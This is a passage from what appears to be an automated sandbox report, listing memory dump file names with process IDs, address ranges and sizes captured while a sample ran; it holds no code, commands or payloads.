                                                                        Filesize

                                                                        8KB

                                                                      • memory/932-197-0x0000000000000000-mapping.dmp
                                                                      • memory/940-195-0x0000000000000000-mapping.dmp
                                                                      • memory/960-175-0x0000000000000000-mapping.dmp
                                                                      • memory/964-206-0x0000000000000000-mapping.dmp
                                                                      • memory/968-189-0x0000000000000000-mapping.dmp
                                                                      • memory/972-187-0x0000000000000000-mapping.dmp
                                                                      • memory/992-179-0x0000000000000000-mapping.dmp
                                                                      • memory/1040-164-0x0000000000000000-mapping.dmp
                                                                      • memory/1040-188-0x0000000000000000-mapping.dmp
                                                                      • memory/1052-177-0x0000000000000000-mapping.dmp
                                                                      • memory/1056-167-0x0000000000000000-mapping.dmp
                                                                      • memory/1104-122-0x0000000000000000-mapping.dmp
                                                                      • memory/1104-135-0x0000000001E50000-0x0000000001E51000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                      • memory/1104-129-0x000000001ABA4000-0x000000001ABA6000-memory.dmp
                                                                        Filesize

                                                                        8KB

                                                                      • memory/1104-134-0x0000000002740000-0x0000000002741000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                      • memory/1104-132-0x000000001B580000-0x000000001B581000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                      • memory/1104-128-0x000000001ABA0000-0x000000001ABA2000-memory.dmp
                                                                        Filesize

                                                                        8KB

                                                                      • memory/1104-130-0x0000000002600000-0x0000000002601000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                      • memory/1140-178-0x0000000000000000-mapping.dmp
                                                                      • memory/1140-207-0x0000000000000000-mapping.dmp
                                                                      • memory/1152-160-0x0000000000000000-mapping.dmp
                                                                      • memory/1168-176-0x0000000000000000-mapping.dmp
                                                                      • memory/1168-148-0x000000001ABD0000-0x000000001ABD2000-memory.dmp
                                                                        Filesize

                                                                        8KB

                                                                      • memory/1168-143-0x0000000000000000-mapping.dmp
                                                                      • memory/1168-149-0x000000001ABD4000-0x000000001ABD6000-memory.dmp
                                                                        Filesize

                                                                        8KB

                                                                      • memory/1264-162-0x0000000000000000-mapping.dmp
                                                                      • memory/1336-173-0x0000000000000000-mapping.dmp
                                                                      • memory/1384-171-0x0000000000000000-mapping.dmp
                                                                      • memory/1588-166-0x0000000000000000-mapping.dmp
                                                                      • memory/1620-183-0x0000000000000000-mapping.dmp
                                                                      • memory/1624-158-0x0000000000000000-mapping.dmp
                                                                      • memory/1628-165-0x0000000000000000-mapping.dmp
                                                                      • memory/1664-169-0x0000000000000000-mapping.dmp
                                                                      • memory/1668-174-0x0000000000000000-mapping.dmp
                                                                      • memory/1704-184-0x0000000000000000-mapping.dmp
                                                                      • memory/1704-168-0x0000000000000000-mapping.dmp
                                                                      • memory/1708-185-0x0000000000000000-mapping.dmp
                                                                      • memory/1712-182-0x0000000000000000-mapping.dmp
                                                                      • memory/1716-70-0x00000000023B0000-0x00000000023B1000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                      • memory/1716-72-0x000000001AA20000-0x000000001AA22000-memory.dmp
                                                                        Filesize

                                                                        8KB

                                                                      • memory/1716-87-0x000000001B510000-0x000000001B511000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                      • memory/1716-66-0x0000000000000000-mapping.dmp
                                                                      • memory/1716-102-0x000000001AA2A000-0x000000001AA49000-memory.dmp
                                                                        Filesize

                                                                        124KB

                                                                      • memory/1716-157-0x000000001C680000-0x000000001C681000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                      • memory/1716-85-0x000000001C3A0000-0x000000001C3A1000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                      • memory/1716-83-0x0000000002270000-0x0000000002271000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                      • memory/1716-67-0x000007FEFB931000-0x000007FEFB933000-memory.dmp
                                                                        Filesize

                                                                        8KB

                                                                      • memory/1716-75-0x000000001B8F0000-0x000000001B8F1000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                      • memory/1716-68-0x0000000002370000-0x0000000002371000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                      • memory/1716-86-0x000000001C420000-0x000000001C421000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                      • memory/1716-69-0x000000001AAA0000-0x000000001AAA1000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                      • memory/1716-73-0x000000001AA24000-0x000000001AA26000-memory.dmp
                                                                        Filesize

                                                                        8KB

                                                                      • memory/1716-71-0x00000000026B0000-0x00000000026B1000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                      • memory/1880-170-0x0000000000000000-mapping.dmp
                                                                      • memory/1912-192-0x0000000000000000-mapping.dmp
                                                                      • memory/1944-190-0x0000000000000000-mapping.dmp
                                                                      • memory/1944-76-0x0000000000000000-mapping.dmp
                                                                      • memory/1996-60-0x0000000043890000-0x0000000043CB1000-memory.dmp
                                                                        Filesize

                                                                        4.1MB

                                                                      • memory/1996-65-0x00000000433E7000-0x00000000433E8000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                      • memory/1996-62-0x00000000433E2000-0x00000000433E4000-memory.dmp
                                                                        Filesize

                                                                        8KB

                                                                      • memory/1996-64-0x00000000433E6000-0x00000000433E7000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                      • memory/1996-63-0x00000000433E4000-0x00000000433E6000-memory.dmp
                                                                        Filesize

                                                                        8KB